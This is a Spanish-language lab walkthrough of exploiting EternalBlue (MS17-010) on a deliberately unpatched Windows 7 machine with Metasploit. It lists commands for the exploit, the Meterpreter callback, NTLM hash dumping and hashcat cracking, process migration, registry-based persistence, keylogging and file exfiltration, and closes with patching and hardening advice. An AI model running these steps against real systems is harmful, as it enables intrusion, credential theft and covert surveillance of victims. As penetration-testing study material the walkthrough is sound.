Introducción
Este laboratorio simula el ataque EternalBlue (MS17-010) contra una máquina Windows 7 deliberadamente sin parchear, usando Metasploit de principio a fin: no solo la explotación inicial, sino toda la fase de post-explotación — extracción de hashes, migración de proceso, persistencia y keylogger.
Requisitos: una máquina Windows 7 vulnerable a EternalBlue, Kali Linux, y ambas conectadas por red NAT.
Reconocimiento
Antes de lanzar nada, confirmar que la máquina es realmente vulnerable:
nmap -sV --script vuln IP
Con la vulnerabilidad confirmada, toca Metasploit.
Explotación: EternalBlue
msfconsole
search exploit eternalblue
use windows/smb/ms17_010_eternalblue
set LHOST <ip_kali>
set RHOSTS <ip_víctima>

Con las opciones configuradas, exploit:

La secuencia es la que hace famoso a este exploit: confirma que el host es vulnerable a MS17-010 (Windows 7 Professional 7601 SP1 x64), vuelca la respuesta SMB en crudo para identificar el sistema operativo exacto, y luego el ataque propiamente dicho — grooming del pool no paginado, envío de los buffers SMBv2, y el momento clave: ETERNALBLUE overwrite completed successfully. Segundos después, sesión Meterpreter abierta.
Con screenshot se puede confirmar en qué estado está la máquina víctima en ese momento:

Extrayendo y crackeando contraseñas
Con la sesión abierta, hashdump saca los hashes NTLM de los usuarios locales:

Guardando esa salida en un fichero, hashcat se encarga del resto:
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Con la contraseña ya en claro, otro screenshot confirma acceso al escritorio real, más allá de la pantalla de login.
Migrar de proceso
Antes de continuar con persistencia y keylogger, hace falta estabilidad — migrar la sesión a un proceso que no vaya a cerrarse:
meterpreter > ps
meterpreter > migrate <PID>

Migrando a wininit.exe (un proceso del sistema, no ligado a la sesión de usuario) la persistencia y el keylogger de los siguientes pasos funcionan de forma fiable, sin depender de que el usuario mantenga su sesión abierta.
Persistencia
use windows/local/persistence
run

El módulo escribe un script VBS persistente en C:\Windows\TEMP\ y lo engancha al registro (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) para que se ejecute automáticamente sin depender de que el atacante mantenga la sesión abierta.
Para comprobar que la persistencia funciona de verdad, no basta con leer el mensaje de “instalado” — hay que cerrar la sesión y volver a levantar un listener desde cero con multi/handler:
use multi/handler
set LHOST <ip_kali>
run

Sesión nueva, sin volver a explotar nada — la máquina se reconecta sola gracias al autorun instalado.
Keylogger
Con la sesión estable (después de la migración de proceso), Meterpreter incluye un keylogger de serie:
meterpreter > keyscan_start
meterpreter > keyscan_dump

Y para sacar cualquier fichero de la máquina comprometida, sin más complicación:
meterpreter > download <origen> <destino>
Conclusiones técnicas
- MS17-010 sigue siendo efectiva en sistemas sin actualizar, años después de haberse descubierto y parcheado.
- Metasploit reduce la explotación de una vulnerabilidad crítica a un puñado de comandos — no hace falta escribir el exploit, solo saber usarlo con criterio.
- Una sesión Meterpreter no es el final, es el principio: extracción de hashes, capturas de pantalla, keylogger y descarga de ficheros son todo post-explotación de serie.
- La migración de proceso y la persistencia no son pasos opcionales de relleno — sin ellas, la sesión inicial es fragil y desaparece en cuanto el proceso original se cierra.
Recomendaciones
- Parchear: aplicar todos los parches de seguridad, en particular los relacionados con SMB como MS17-010.
- Deshabilitar SMBv1: es un protocolo obsoleto que debería estar desactivado salvo necesidad explícita.
- Segmentar la red: limitar el acceso a servicios como SMB solo a los dispositivos que realmente lo necesiten.
- Monitorizar conexiones sospechosas: un IDS/IPS puede detectar intentos de explotación de vulnerabilidades conocidas como esta.
- Políticas de contraseñas robustas: para que, aunque se extraigan los hashes, no sean triviales de crackear.
- Auditorías de seguridad periódicas: para detectar configuraciones inseguras antes de que alguien más lo haga.